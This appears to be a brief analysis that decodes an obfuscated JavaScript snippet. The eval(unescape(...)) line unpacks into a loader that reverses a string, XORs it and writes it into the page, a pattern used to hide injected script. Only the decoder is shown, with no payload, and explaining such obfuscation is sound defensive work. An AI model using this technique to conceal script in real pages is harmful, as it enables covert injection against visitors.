Original HTML string...

eval(unescape("%66%75%6E%63%74%69%6F%6E%20%64%28%73%29%7B%72%3D%6E%65%77%20%41%72%72
%61%79%28%29%3B%74%3D%22%22%3B%6A%3D%30%3B%66%6F%72%28%69%3D%73%2E%6C%65%6E%67%74%68
%2D%31%3B%69%3E%30%3B%69%2D%2D%29%7B%74%2B%3D%53%74%72%69%6E%67%2E%66%72%6F%6D%43%68
%61%72%43%6F%64%65%28%73%2E%63%68%61%72%43%6F%64%65%41%74%28%69%29%5E%32%29%3B%69%66
%28%74%2E%6C%65%6E%67%74%68%3E%38%30%29%7B%72%5B%6A%2B%2B%5D%3D%74%3B%74%3D%22%22%7D
%7D%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%72%2E%6A%6F%69%6E%28%22%22%29%2B%74
%29%7D"));

String with all ASCII codes converted...

eval(
unescape("

function  d(s)
{
	r=new Array();
	t="";
	j=0;
	for(i=s.length-1;i>0;i--)
	{
		t+=String.fromCharCo de(s.charCo deAt(i)^2);
		if(t.length>80)
		{
			r[j++]=t;
			t=""
		}
	} 

	document.write(r.join("")+t)
}

"));